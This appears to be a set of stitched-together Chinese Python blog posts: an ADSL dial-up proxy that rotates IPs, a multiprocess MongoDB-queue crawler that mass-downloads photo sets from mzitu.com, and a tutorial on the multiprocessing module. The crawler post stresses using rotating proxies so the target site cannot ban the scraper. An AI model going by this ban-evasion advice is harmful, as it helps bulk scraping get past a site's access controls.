DNSPOD 原理也是一样,不过好处是你可以配置自己的域名。 在 GitHub 上有脚本可以使用。 脚本链接 具体的细节我就不说了,实际上就是定时请求,利用 remote_addr 更新 DNSPOD 记录,做到动态解析。 解析接口 不过!这两个有个通病!慢! 什么慢?解析慢!但这不是他们的锅,因为 DNS 修改后完全生效就是需要一定的时间,这一秒你拨号了,然后更新了 IP,但是域名可能还是解析着原来的 IP,需要过几分钟才能变过来。这能忍吗? 我可是在跑爬虫啊,这还能忍?

自力更生

嗯,V2EX 果然是个好地方,逛了一下,收获不小。 链接在此 参考了 abelyao 的思路,自己写了脚本来获取 IP,保证秒级更新! 此时,你还需要另一台固定 IP 的主机或者某个云服务器,只要是地址固定的就好。在这里我用了另一台有固定 IP 的阿里云主机,当然你如果有什么新浪云啊之类的也可以。 那么现在的思路就是,拨号 VPS 定时拨号换 IP,然后请求阿里云主机,阿里云主机获取 VPS 的 IP 地址即可。 拨号 VPS 做的事情: 定时拨号,定时请求服务器。使用 bash 脚本,然后 crontab 定时执行。 远程服务器: 接收请求,获取 remote_addr,保存起来。使用 Flask 搭建服务器,接收请求。 废话少说,上代码 AutoProxy

功能

由于 DDNS 生效时间过长,对于爬虫等一些时间要求比较紧迫的项目就不太适用,为此本项目根据 DDNS 基本原理来实现实时获取 ADSL 拨号主机 IP。

基本原理

client 文件夹由 ADSL 拨号客户机运行。它会定时执行拨号操作,然后请求某个固定地址的服务器,以便让服务器获取 ADSL 拨号客户机的 IP,主要是定时 bash 脚本运行。 server 文件夹是服务器端运行,利用 Python 的 Flask 搭建服务器,然后接收 ADSL 拨号客户机的请求,得到 remote_addr,获取客户机拨号后的 IP。

项目结构

server

  • config.py 配置文件。
  • ip 客户端请求后获取的客户端 IP,文本保存。
  • main.py Flask 主程序,提供两个接口,一个是接收客户端请求,然后将 IP 保存,另外一个是获取当前保存的 IP。

client

  • crontab 定时任务命令示例。
  • pppoe.sh 拨号脚本,主要是实现重新拨号的几个命令。
  • request.sh 请求服务器的脚本,主要是实现拨号后请求服务器的操作。
  • request.conf 配置文件。

使用

服务器

服务器提供两个功能,record 方法是客户机定时请求,然后获取客户机 IP 并保存。proxy 方法是供我们自己用,返回保存的客户机 IP,提取代理。

克隆项目
1
git clone https://github.com/Germey/AutoProxy.git
修改配置

修改 config.py 文件

  • KEY 是客户端请求服务器时的凭证,在 client 的 request.conf 也有相同的配置,二者保持一致即可。
  • NEED_AUTH 在获取当前保存的 IP(即代理的 IP)的时候,为防止自己的主机代理被滥用,在获取 IP 的时候,需要加权限验证。
  • AUTH_USER 和 AUTH_PASSWORD 分别是认证用户名密码。
  • PORT 默认端口,返回保存的结果中会自动添加这个端口,组成一个 IP:PORT 的代理形式。

运行

1
2
cd server
nohup python main.py

ADSL 客户机

克隆项目
1
git clone https://github.com/Germey/AutoProxy.git
修改配置

修改 reqeust.conf 文件

  • KEY 是客户端请求服务器时的凭证,在 server 的 config.py 也有相同的配置,二者保持一致即可。
  • SERVER 是服务器项目运行后的地址,一般为 http://<服务器 IP>:<服务器端口>/record。如http://120.27.14.24:5000/record

修改 pppoe.sh 文件 这里面写上重新拨号的几条命令,记得在前两行配置一下环境变量,配置上拨号命令所在的目录,以防出现脚本无法运行的问题。

运行

设置定时任务

1
crontab -e

输入 crontab 的实例命令

1
*/5 * * * * /var/py/AutoProxy/client/request.sh /var/py/AutoProxy/client/request.conf >> /var/py/AutoProxy/client/request.log

注意修改路径,你的项目在哪里,都统一修改成自己项目的路径。 最前面的*/5 是 5 分钟执行一次。 好了,保存之后,定时任务就会开启。

验证结果

这样一来,访问服务器地址,就可以得到 ADSL 拨号客户机的 IP 了。

1
2
3
4
5
import requests

url = 'http://120.27.14.24:5000'
proxy = requests.get(url, auth=('admin', '123')).text
print(proxy)

实例结果:

1
116.208.97.22:8888

扩展

如果你有域名,可以自己解析一个域名,这样就可以直接请求自己的域名,拿到实时好用的代理了,而且定时更新。

代理设置

urllib2

1
2
3
4
5
6
import urllib2
proxy_handler = urllib2.ProxyHandler({"http": 'http://' + proxy})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
response = urllib2.urlopen('http://httpbin.org/get')
print response.read()

requests

1
2
3
4
5
6
import requests
proxies = {
'http': 'http://' + proxy,
}
r = requests.get('http://httpbin.org/get', proxies=proxies)
print(r.text)

以上便秒级解决了动态 IP 解析,自己实现了一遍 DDNS,爽! 那这样以来,以后就可以直接请求你的主机获取一个最新可用的代理 IP 了,稳定可用,定时变化! 以上便是 ADSL 拨号服务器配置的全过程,希望对大家有帮助!

Python

PS:使用多线程时好像在目录切换的问题上存在问题,可以给线程加个锁试试 Hello 大家好!我又来了。 QQ图片20161102215153 你是不是发现下载图片速度特别慢、难以忍受啊!对于这种问题 一般解决办法就是多进程了!一个进程速度慢!我就用十个进程,相当于十个人一起干。速度就会快很多啦!(为什么不说多线程?懂点 Python 的小伙伴都知道、GIL 的存在 导致 Python 的多线程有点坑啊!)今天就教大家来做一个多进程的爬虫(其实吧、可以用来做一个超简化版的分布式爬虫) 其实吧!还有一种加速的方法叫做“异步”!不过这玩意儿我没怎么整明白就不出来误人子弟了!(因为爬虫大部分时间都是在等待 response 中!‘异步’则能让程序在等待 response 的时间去做的其他事情。) QQ图片20161022193315 学过 Python 基础的同学都知道、在多进程中,进程之间是不能相互通信的,这就有一个很坑爹的问题的出现了!多个进程怎么知道那那些需要爬取、哪些已经被爬取了! 这就涉及到一个东西!这玩意儿叫做队列!!队列!!队列!!其实吧正常来说应该给大家用队列来完成这个教程的, 比如 Tornado 的 queue 模块。(如果需要更为稳定健壮的队列,则请考虑使用 Celery 这一类的专用消息传递工具) 不过为了简化技术种类啊!(才不会告诉你们是我懒,嫌麻烦呢!)这次我们继续使用 MongoDB。 好了!先来理一下思路: 每个进程需要知道那些 URL 爬取过了、哪些 URL 需要爬取!我们来给每个 URL 设置两种状态: outstanding:等待爬取的 URL complete:爬取完成的 URL 诶!等等我们好像忘了啥? 失败的 URL 的怎么办啊?我们在增加一种状态: processing:正在进行的 URL。 嗯!当一个所有初始的 URL 状态都为 outstanding;当开始爬取的时候状态改为:processing;爬取完成状态改为:complete;失败的 URL 重置状态为:outstanding。为了能够处理 URL 进程被终止的情况、我们设置一个计时参数,当超过这个值时;我们则将状态重置为 outstanding。 下面开整 Go Go Go! 首先我们需要一个模块:datetime(这个模块比内置 time 模块要好使一点)不会装??不是吧! pip install datetime 还有上一篇博文我们已经使用过的 pymongo 下面是队列的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from datetime import datetime, timedelta
from pymongo import MongoClient, errors

class MogoQueue():

OUTSTANDING = 1 ##初始状态
PROCESSING = 2 ##正在下载状态
COMPLETE = 3 ##下载完成状态

def __init__(self, db, collection, timeout=300):##初始mongodb连接
self.client = MongoClient()
self.Client = self.client[db]
self.db = self.Client[collection]
self.timeout = timeout

def __bool__(self):
"""
这个函数,我的理解是如果下面的表达为真,则整个类为真
至于有什么用,后面我会注明的(如果我的理解有误,请指点出来谢谢,我也是Python新手)
$ne的意思是不匹配
"""
record = self.db.find_one(
{'status': {'$ne': self.COMPLETE}}
)
return True if record else False

def push(self, url, title): ##这个函数用来添加新的URL进队列
try:
self.db.insert({'_id': url, 'status': self.OUTSTANDING, '主题': title})
print(url, '插入队列成功')
except errors.DuplicateKeyError as e: ##报错则代表已经存在于队列之中了
print(url, '已经存在于队列中了')
pass
def push_imgurl(self, title, url):
try:
self.db.insert({'_id': title, 'statue': self.OUTSTANDING, 'url': url})
print('图片地址插入成功')
except errors.DuplicateKeyError as e:
print('地址已经存在了')
pass

def pop(self):
"""
这个函数会查询队列中的所有状态为OUTSTANDING的值,
更改状态,(query后面是查询)(update后面是更新)
并返回_id(就是我们的URL),MongDB好使吧,^_^
如果没有OUTSTANDING的值则调用repair()函数重置所有超时的状态为OUTSTANDING,
$set是设置的意思,和MySQL的set语法一个意思
"""
record = self.db.find_and_modify(
query={'status': self.OUTSTANDING},
update={'$set': {'status': self.PROCESSING, 'timestamp': datetime.now()}}
)
if record:
return record['_id']
else:
self.repair()
raise KeyError

def pop_title(self, url):
record = self.db.find_one({'_id': url})
return record['主题']

def peek(self):
"""这个函数是取出状态为 OUTSTANDING的文档并返回_id(URL)"""
record = self.db.find_one({'status': self.OUTSTANDING})
if record:
return record['_id']

def complete(self, url):
"""这个函数是更新已完成的URL完成"""
self.db.update({'_id': url}, {'$set': {'status': self.COMPLETE}})

def repair(self):
"""这个函数是重置状态$lt是比较"""
record = self.db.find_and_modify(
query={
'timestamp': {'$lt': datetime.now() - timedelta(seconds=self.timeout)},
'status': {'$ne': self.COMPLETE}
},
update={'$set': {'status': self.OUTSTANDING}}
)
if record:
print('重置URL状态', record['_id'])

def clear(self):
"""这个函数只有第一次才调用、后续不要调用、因为这是删库啊!"""
self.db.drop()

好了,队列我们做好了,下面是获取所有页面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Download import request
from mongodb_queue import MogoQueue
from bs4 import BeautifulSoup


spider_queue = MogoQueue('meinvxiezhenji', 'crawl_queue')
def start(url):
response = request.get(url, 3)
Soup = BeautifulSoup(response.text, 'lxml')
all_a = Soup.find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
url = a['href']
spider_queue.push(url, title)
"""上面这个调用就是把URL写入MongoDB的队列了"""

if __name__ == "__main__":
start('http://www.mzitu.com/all')

"""这一段儿就不解释了哦!超级简单的"""

下面就是多进程+多线程的下载代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import os
import time
import threading
import multiprocessing
from mongodb_queue import MogoQueue
from Download import request
from bs4 import BeautifulSoup

SLEEP_TIME = 1

def mzitu_crawler(max_threads=10):
crawl_queue = MogoQueue('meinvxiezhenji', 'crawl_queue') ##这个是我们获取URL的队列
##img_queue = MogoQueue('meinvxiezhenji', 'img_queue')
def pageurl_crawler():
while True:
try:
url = crawl_queue.pop()
print(url)
except KeyError:
print('队列没有数据')
break
else:
img_urls = []
req = request.get(url, 3).text
title = crawl_queue.pop_title(url)
mkdir(title)
os.chdir('D:\mzitu\\' + title)
max_span = BeautifulSoup(req, 'lxml').find('div', class_='pagenavi').find_all('span')[-2].get_text()
for page in range(1, int(max_span) + 1):
page_url = url + '/' + str(page)
img_url = BeautifulSoup(request.get(page_url, 3).text, 'lxml').find('div', class_='main-image').find('img')['src']
img_urls.append(img_url)
save(img_url)
crawl_queue.complete(url) ##设置为完成状态
##img_queue.push_imgurl(title, img_urls)
##print('插入数据库成功')

def save(img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = request.get(img_url, 3)
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(path):
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False

threads = []
while threads or crawl_queue:
"""
这儿crawl_queue用上了,就是我们__bool__函数的作用,为真则代表我们MongoDB队列里面还有数据
threads 或者 crawl_queue为真都代表我们还没下载完成,程序就会继续执行
"""
for thread in threads:
if not thread.is_alive(): ##is_alive是判断是否为空,不是空则在队列中删掉
threads.remove(thread)
while len(threads) < max_threads or crawl_queue.peek(): ##线程池中的线程少于max_threads 或者 crawl_qeue时
thread = threading.Thread(target=pageurl_crawler) ##创建线程
thread.setDaemon(True) ##设置守护线程
thread.start() ##启动线程
threads.append(thread) ##添加进线程队列
time.sleep(SLEEP_TIME)

def process_crawler():
process = []
num_cpus = multiprocessing.cpu_count()
print('将会启动进程数为:', num_cpus)
for i in range(num_cpus):
p = multiprocessing.Process(target=mzitu_crawler) ##创建进程
p.start() ##启动进程
process.append(p) ##添加进进程队列
for p in process:
p.join() ##等待进程队列里面的进程结束

if __name__ == "__main__":
process_crawler()

好啦!一个多进程多线的爬虫就完成了,(其实你可以设置一下 MongoDB,然后调整一下连接配置,在多台机器上跑哦!!嗯,就是超级简化版的分布式爬虫了,虽然很是简陋。) 本来还想下载图片那一块儿加上异步(毕竟下载图片是I\O等待最久的时间了,),可惜异步我也没怎么整明白,就不拿出来贻笑大方了。 另外,各位小哥儿可以参考上面代码,单独处理图片地址试试(就是多个进程直接下载图片)? 我测试了一下八分钟下载 100 套图 PS:请务必使用 第二篇博文中的下载模块,或者自己写一个自动更换代理的下载模块!!!不然寸步难行,分分钟被服务器 BAN 掉! QQ图片20161102215153小白教程就到此结束了,后面我教大家玩玩 Scrapy;目标 顶点小说网, 爬完全站的小说。 再后面带大家玩玩 抓新浪 汤不热、模拟登录 之类的。或许维护一个公共代理 IP 池之类的。 这个所有代码我放在这个位置了:https://github.com/thsheep/mzitu/

Python

2022 年最新 Python3 网络爬虫教程

大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

教程请移步:

【2022 版】Python3 网络爬虫学习教程

如下为原文。

前言

在上一节中介绍了 thread 多线程库。python 中的多线程其实并不是真正的多线程,并不能做到充分利用多核 CPU 资源。 如果想要充分利用,在 python 中大部分情况需要使用多进程,那么这个包就叫做 multiprocessing。 借助它,可以轻松完成从单进程到并发执行的转换。multiprocessing 支持子进程、通信和共享数据、执行不同形式的同步,提供了 Process、Queue、Pipe、Lock 等组件。 那么本节要介绍的内容有:

  • Process
  • Lock
  • Semaphore
  • Queue
  • Pipe
  • Pool

Process

基本使用

在 multiprocessing 中,每一个进程都用一个 Process 类来表示。首先看下它的 API

1
Process([group [, target [, name [, args [, kwargs]]]]])
  • target 表示调用对象,你可以传入方法的名字
  • args 表示被调用对象的位置参数元组,比如 target 是函数 a,他有两个参数 m,n,那么 args 就传入(m, n)即可
  • kwargs 表示调用对象的字典
  • name 是别名,相当于给这个进程取一个名字
  • group 分组,实际上不使用

我们先用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
import multiprocessing

def process(num):
print 'Process:', num

if __name__ == '__main__':
for i in range(5):
p = multiprocessing.Process(target=process, args=(i,))
p.start()

最简单的创建 Process 的过程如上所示,target 传入函数名,args 是函数的参数,是元组的形式,如果只有一个参数,那就是长度为 1 的元组。 然后调用 start()方法即可启动多个进程了。 另外你还可以通过 cpu_count() 方法还有 active_children() 方法获取当前机器的 CPU 核心数量以及得到目前所有的运行的进程。 通过一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import multiprocessing
import time

def process(num):
time.sleep(num)
print 'Process:', num

if __name__ == '__main__':
for i in range(5):
p = multiprocessing.Process(target=process, args=(i,))
p.start()

print('CPU number:' + str(multiprocessing.cpu_count()))
for p in multiprocessing.active_children():
print('Child process name: ' + p.name + ' id: ' + str(p.pid))

print('Process Ended')

运行结果:

1
2
3
4
5
6
7
8
9
10
11
Process: 0
CPU number:8
Child process name: Process-2 id: 9641
Child process name: Process-4 id: 9643
Child process name: Process-5 id: 9644
Child process name: Process-3 id: 9642
Process Ended
Process: 1
Process: 2
Process: 3
Process: 4

自定义类

另外你还可以继承 Process 类,自定义进程类,实现 run 方法即可。 用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Process
import time


class MyProcess(Process):
def __init__(self, loop):
Process.__init__(self)
self.loop = loop

def run(self):
for count in range(self.loop):
time.sleep(1)
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))


if __name__ == '__main__':
for i in range(2, 5):
p = MyProcess(i)
p.start()

在上面的例子中,我们继承了 Process 这个类,然后实现了 run 方法。打印出来了进程号和参数。 运行结果:

1
2
3
4
5
6
7
8
9
Pid: 28116 LoopCount: 0
Pid: 28117 LoopCount: 0
Pid: 28118 LoopCount: 0
Pid: 28116 LoopCount: 1
Pid: 28117 LoopCount: 1
Pid: 28118 LoopCount: 1
Pid: 28117 LoopCount: 2
Pid: 28118 LoopCount: 2
Pid: 28118 LoopCount: 3

可以看到,三个进程分别打印出了 2、3、4 条结果。 我们可以把一些方法独立的写在每个类里封装好,等用的时候直接初始化一个类运行即可。

deamon

在这里介绍一个属性,叫做 deamon。每个线程都可以单独设置它的属性,如果设置为 True,当父进程结束后,子进程会自动被终止。 用一个实例来感受一下,还是原来的例子,增加了 deamon 属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from multiprocessing import Process
import time


class MyProcess(Process):
def __init__(self, loop):
Process.__init__(self)
self.loop = loop

def run(self):
for count in range(self.loop):
time.sleep(1)
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))


if __name__ == '__main__':
for i in range(2, 5):
p = MyProcess(i)
p.daemon = True
p.start()


print 'Main process Ended!'

在这里,调用的时候增加了设置 deamon,最后的主进程(即父进程)打印输出了一句话。 运行结果:

1
Main process Ended!

结果很简单,因为主进程没有做任何事情,直接输出一句话结束,所以在这时也直接终止了子进程的运行。 这样可以有效防止无控制地生成子进程。如果这样写了,你在关闭这个主程序运行时,就无需额外担心子进程有没有被关闭了。 不过这样并不是我们想要达到的效果呀,能不能让所有子进程都执行完了然后再结束呢?那当然是可以的,只需要加入 join()方法即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from multiprocessing import Process
import time


class MyProcess(Process):
def __init__(self, loop):
Process.__init__(self)
self.loop = loop

def run(self):
for count in range(self.loop):
time.sleep(1)
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))


if __name__ == '__main__':
for i in range(2, 5):
p = MyProcess(i)
p.daemon = True
p.start()
p.join()


print 'Main process Ended!'

在这里,每个子进程都调用了 join()方法,这样父进程(主进程)就会等待子进程执行完毕。 运行结果:

1
2
3
4
5
6
7
8
9
10
Pid: 29902 LoopCount: 0
Pid: 29902 LoopCount: 1
Pid: 29905 LoopCount: 0
Pid: 29905 LoopCount: 1
Pid: 29905 LoopCount: 2
Pid: 29912 LoopCount: 0
Pid: 29912 LoopCount: 1
Pid: 29912 LoopCount: 2
Pid: 29912 LoopCount: 3
Main process Ended!

发现所有子进程都执行完毕之后,父进程最后打印出了结束的结果。

Lock

在上面的一些小实例中,你可能会遇到如下的运行结果: 什么问题?有的输出错位了。这是由于并行导致的,两个进程同时进行了输出,结果第一个进程的换行没有来得及输出,第二个进程就输出了结果。所以导致这种排版的问题。 那这归根结底是因为线程同时资源(输出操作)而导致的。 那怎么来避免这种问题?那自然是在某一时间,只能一个进程输出,其他进程等待。等刚才那个进程输出完毕之后,另一个进程再进行输出。这种现象就叫做“互斥”。 我们可以通过 Lock 来实现,在一个进程输出时,加锁,其他进程等待。等此进程执行结束后,释放锁,其他进程可以进行输出。 我们现用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from multiprocessing import Process, Lock
import time


class MyProcess(Process):
def __init__(self, loop, lock):
Process.__init__(self)
self.loop = loop
self.lock = lock

def run(self):
for count in range(self.loop):
time.sleep(0.1)
#self.lock.acquire()
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))
#self.lock.release()

if __name__ == '__main__':
lock = Lock()
for i in range(10, 15):
p = MyProcess(i, lock)
p.start()

首先看一下不加锁的输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Pid: 45755 LoopCount: 0
Pid: 45756 LoopCount: 0
Pid: 45757 LoopCount: 0
Pid: 45758 LoopCount: 0
Pid: 45759 LoopCount: 0
Pid: 45755 LoopCount: 1
Pid: 45756 LoopCount: 1
Pid: 45757 LoopCount: 1
Pid: 45758 LoopCount: 1
Pid: 45759 LoopCount: 1
Pid: 45755 LoopCount: 2Pid: 45756 LoopCount: 2

Pid: 45757 LoopCount: 2
Pid: 45758 LoopCount: 2
Pid: 45759 LoopCount: 2
Pid: 45756 LoopCount: 3
Pid: 45755 LoopCount: 3
Pid: 45757 LoopCount: 3
Pid: 45758 LoopCount: 3
Pid: 45759 LoopCount: 3
Pid: 45755 LoopCount: 4
Pid: 45756 LoopCount: 4
Pid: 45757 LoopCount: 4
Pid: 45759 LoopCount: 4
Pid: 45758 LoopCount: 4
Pid: 45756 LoopCount: 5
Pid: 45755 LoopCount: 5
Pid: 45757 LoopCount: 5
Pid: 45759 LoopCount: 5
Pid: 45758 LoopCount: 5
Pid: 45756 LoopCount: 6Pid: 45755 LoopCount: 6

Pid: 45757 LoopCount: 6
Pid: 45759 LoopCount: 6
Pid: 45758 LoopCount: 6
Pid: 45755 LoopCount: 7Pid: 45756 LoopCount: 7

Pid: 45757 LoopCount: 7
Pid: 45758 LoopCount: 7
Pid: 45759 LoopCount: 7
Pid: 45756 LoopCount: 8Pid: 45755 LoopCount: 8

Pid: 45757 LoopCount: 8
Pid: 45758 LoopCount: 8Pid: 45759 LoopCount: 8

Pid: 45755 LoopCount: 9
Pid: 45756 LoopCount: 9
Pid: 45757 LoopCount: 9
Pid: 45758 LoopCount: 9
Pid: 45759 LoopCount: 9
Pid: 45756 LoopCount: 10
Pid: 45757 LoopCount: 10
Pid: 45758 LoopCount: 10
Pid: 45759 LoopCount: 10
Pid: 45757 LoopCount: 11
Pid: 45758 LoopCount: 11
Pid: 45759 LoopCount: 11
Pid: 45758 LoopCount: 12
Pid: 45759 LoopCount: 12
Pid: 45759 LoopCount: 13

可以看到有些输出已经造成了影响。 然后我们对其加锁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from multiprocessing import Process, Lock
import time


class MyProcess(Process):
def __init__(self, loop, lock):
Process.__init__(self)
self.loop = loop
self.lock = lock

def run(self):
for count in range(self.loop):
time.sleep(0.1)
self.lock.acquire()
print('Pid: ' + str(self.pid) + ' LoopCount: ' + str(count))
self.lock.release()

if __name__ == '__main__':
lock = Lock()
for i in range(10, 15):
p = MyProcess(i, lock)
p.start()

我们在 print 方法的前后分别添加了获得锁和释放锁的操作。这样就能保证在同一时间只有一个 print 操作。 看一下运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Pid: 45889 LoopCount: 0
Pid: 45890 LoopCount: 0
Pid: 45891 LoopCount: 0
Pid: 45892 LoopCount: 0
Pid: 45893 LoopCount: 0
Pid: 45889 LoopCount: 1
Pid: 45890 LoopCount: 1
Pid: 45891 LoopCount: 1
Pid: 45892 LoopCount: 1
Pid: 45893 LoopCount: 1
Pid: 45889 LoopCount: 2
Pid: 45890 LoopCount: 2
Pid: 45891 LoopCount: 2
Pid: 45892 LoopCount: 2
Pid: 45893 LoopCount: 2
Pid: 45889 LoopCount: 3
Pid: 45890 LoopCount: 3
Pid: 45891 LoopCount: 3
Pid: 45892 LoopCount: 3
Pid: 45893 LoopCount: 3
Pid: 45889 LoopCount: 4
Pid: 45890 LoopCount: 4
Pid: 45891 LoopCount: 4
Pid: 45892 LoopCount: 4
Pid: 45893 LoopCount: 4
Pid: 45889 LoopCount: 5
Pid: 45890 LoopCount: 5
Pid: 45891 LoopCount: 5
Pid: 45892 LoopCount: 5
Pid: 45893 LoopCount: 5
Pid: 45889 LoopCount: 6
Pid: 45890 LoopCount: 6
Pid: 45891 LoopCount: 6
Pid: 45893 LoopCount: 6
Pid: 45892 LoopCount: 6
Pid: 45889 LoopCount: 7
Pid: 45890 LoopCount: 7
Pid: 45891 LoopCount: 7
Pid: 45892 LoopCount: 7
Pid: 45893 LoopCount: 7
Pid: 45889 LoopCount: 8
Pid: 45890 LoopCount: 8
Pid: 45891 LoopCount: 8
Pid: 45892 LoopCount: 8
Pid: 45893 LoopCount: 8
Pid: 45889 LoopCount: 9
Pid: 45890 LoopCount: 9
Pid: 45891 LoopCount: 9
Pid: 45892 LoopCount: 9
Pid: 45893 LoopCount: 9
Pid: 45890 LoopCount: 10
Pid: 45891 LoopCount: 10
Pid: 45892 LoopCount: 10
Pid: 45893 LoopCount: 10
Pid: 45891 LoopCount: 11
Pid: 45892 LoopCount: 11
Pid: 45893 LoopCount: 11
Pid: 45893 LoopCount: 12
Pid: 45892 LoopCount: 12
Pid: 45893 LoopCount: 13

嗯,一切都没问题了。 所以在访问临界资源时,使用 Lock 就可以避免进程同时占用资源而导致的一些问题。

Semaphore

信号量,是在进程同步过程中一个比较重要的角色。可以控制临界资源的数量,保证各个进程之间的互斥和同步。 如果你学过操作系统,那么一定对这方面非常了解,如果你还不了解信号量是什么,可以参考 信号量解析 来了解一下它是做什么的。 那么接下来我们就用一个实例来演示一下进程之间利用 Semaphore 做到同步和互斥,以及控制临界资源数量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from multiprocessing import Process, Semaphore, Lock, Queue
import time

buffer = Queue(10)
empty = Semaphore(2)
full = Semaphore(0)
lock = Lock()

class Consumer(Process):

def run(self):
global buffer, empty, full, lock
while True:
full.acquire()
lock.acquire()
buffer.get()
print('Consumer pop an element')
time.sleep(1)
lock.release()
empty.release()


class Producer(Process):
def run(self):
global buffer, empty, full, lock
while True:
empty.acquire()
lock.acquire()
buffer.put(1)
print('Producer append an element')
time.sleep(1)
lock.release()
full.release()


if __name__ == '__main__':
p = Producer()
c = Consumer()
p.daemon = c.daemon = True
p.start()
c.start()
p.join()
c.join()
print 'Ended!'

如上代码实现了注明的生产者和消费者问题,定义了两个进程类,一个是消费者,一个是生产者。 定义了一个共享队列,利用了 Queue 数据结构,然后定义了两个信号量,一个代表缓冲区空余数,一个表示缓冲区占用数。 生产者 Producer 使用 empty.acquire()方法来占用一个缓冲区位置,然后缓冲区空闲区大小减小 1,接下来进行加锁,对缓冲区进行操作。然后释放锁,然后让代表占用的缓冲区位置数量+1,消费者则相反。 运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Producer append an element
Producer append an element
Consumer pop an element
Consumer pop an element
Producer append an element
Producer append an element
Consumer pop an element
Consumer pop an element
Producer append an element
Producer append an element
Consumer pop an element
Consumer pop an element
Producer append an element
Producer append an element

可以发现两个进程在交替运行,生产者先放入缓冲区物品,然后消费者取出,不停地进行循环。 通过上面的例子来体会一下信号量的用法。

Queue

在上面的例子中我们使用了 Queue,可以作为进程通信的共享队列使用。 在上面的程序中,如果你把 Queue 换成普通的 list,是完全起不到效果的。即使在一个进程中改变了这个 list,在另一个进程也不能获取到它的状态。 因此进程间的通信,队列需要用 Queue。当然这里的队列指的是 multiprocessing.Queue 依然是用上面那个例子,我们一个进程向队列中放入数据,然后另一个进程取出数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from multiprocessing import Process, Semaphore, Lock, Queue
import time
from random import random

buffer = Queue(10)
empty = Semaphore(2)
full = Semaphore(0)
lock = Lock()

class Consumer(Process):

def run(self):
global buffer, empty, full, lock
while True:
full.acquire()
lock.acquire()
print 'Consumer get', buffer.get()
time.sleep(1)
lock.release()
empty.release()


class Producer(Process):
def run(self):
global buffer, empty, full, lock
while True:
empty.acquire()
lock.acquire()
num = random()
print 'Producer put ', num
buffer.put(num)
time.sleep(1)
lock.release()
full.release()


if __name__ == '__main__':
p = Producer()
c = Consumer()
p.daemon = c.daemon = True
p.start()
c.start()
p.join()
c.join()
print 'Ended!'

运行结果:

1
2
3
4
5
6
7
8
Producer put  0.719213647437
Producer put 0.44287326683
Consumer get 0.719213647437
Consumer get 0.44287326683
Producer put 0.722859424381
Producer put 0.525321338921
Consumer get 0.722859424381
Consumer get 0.525321338921

可以看到生产者放入队列中数据,然后消费者将数据取出来。 get 方法有两个参数,blocked 和 timeout,意思为阻塞和超时时间。默认 blocked 是 true,即阻塞式。 当一个队列为空的时候如果再用 get 取则会阻塞,所以这时候就需要吧 blocked 设置为 false,即非阻塞式,实际上它就会调用 get_nowait()方法,此时还需要设置一个超时时间,在这么长的时间内还没有取到队列元素,那就抛出 Queue.Empty 异常。 当一个队列为满的时候如果再用 put 放则会阻塞,所以这时候就需要吧 blocked 设置为 false,即非阻塞式,实际上它就会调用 put_nowait()方法,此时还需要设置一个超时时间,在这么长的时间内还没有放进去元素,那就抛出 Queue.Full 异常。 另外队列中常用的方法 Queue.qsize() 返回队列的大小 ,不过在 Mac OS 上没法运行。 原因:

